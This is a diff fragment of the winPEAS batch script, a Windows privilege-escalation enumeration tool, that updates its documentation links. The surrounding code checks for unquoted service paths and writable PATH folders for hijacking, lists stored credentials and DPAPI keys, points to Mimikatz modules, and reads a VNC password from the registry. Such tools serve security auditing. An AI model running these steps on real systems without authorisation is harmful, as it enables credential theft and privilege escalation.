ECHO. [i] When the path is not quoted (ex: C:\Program files\soft\new folder\exec.exe) Windows will try to execute first 'C:\Program.exe', then 'C:\Program Files\soft\new.exe' and finally 'C:\Program Files\soft\new folder\exec.exe'. Try to create 'C:\Program Files\soft\new.exe'
|
||||
ECHO. [i] The permissions are also checked and filtered using icacls
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#services
|
||||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||||
ECHO.%%~s ^| findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (ECHO.%%n && ECHO.%%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && ECHO.
|
||||
@ -476,7 +484,7 @@ ECHO.
|
||||
CALL :ColorLine "%E%32m[*]%E%97m DLL HIJACKING in PATHenv variable"
|
||||
ECHO. [i] Maybe you can take advantage of modifying/creating some binary in some of the following locations
|
||||
ECHO. [i] PATH variable entries permissions - place binary or DLL to execute instead of legitimate
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dll-hijacking
|
||||
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && ECHO. )
|
||||
ECHO.
|
||||
CALL :T_Progress 1
|
||||
@ -485,7 +493,7 @@ CALL :T_Progress 1
|
||||
CALL :ColorLine "%E%32m[*]%E%97m CREDENTIALS"
|
||||
ECHO.
|
||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS VAULT"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#windows-vault
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault
|
||||
cmdkey /list
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@ -493,14 +501,14 @@ CALL :T_Progress 2
|
||||
:DPAPIMasterKeys
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
powershell -command "Get-ChildItem %appdata%\Microsoft\Protect" 2>nul
|
||||
powershell -command "Get-ChildItem %localappdata%\Microsoft\Protect" 2>nul
|
||||
CALL :T_Progress 2
|
||||
CALL :ColorLine " %E%33m[+]%E%97m DPAPI MASTER KEYS"
|
||||
ECHO. [i] Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
|
||||
ECHO. [i] You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
|
||||
ECHO.
|
||||
ECHO.Looking inside %appdata%\Microsoft\Credentials\
|
||||
ECHO.
|
||||
@ -573,7 +581,7 @@ CALL :T_Progress 2
|
||||
|
||||
:AppCMD
|
||||
CALL :ColorLine " %E%33m[+]%E%97m AppCmd"
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd.exe
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe
|
||||
IF EXIST %systemroot%\system32\inetsrv\appcmd.exe ECHO.%systemroot%\system32\inetsrv\appcmd.exe exists.
|
||||
ECHO.
|
||||
CALL :T_Progress 2
|
||||
@ -581,7 +589,7 @@ CALL :T_Progress 2
|
||||
:RegFilesCredentials
|
||||
CALL :ColorLine " %E%33m[+]%E%97m Files in registry that may contain credentials"
|
||||
ECHO. [i] Searching specific files that may contains credentials.
|
||||
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
|
||||
ECHO. [?] https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
|
||||
ECHO.Looking inside HKCU\Software\ORL\WinVNC3\Password
|
||||
reg query HKCU\Software\ORL\WinVNC3\Password 2>nul
|
||||
CALL :T_Progress 2
|
||||
|
BIN
win/winPEAS.exe
BIN
win/winPEAS.exe
Binary file not shown.
Binary file not shown.
Loading…
Reference in New Issue
Block a user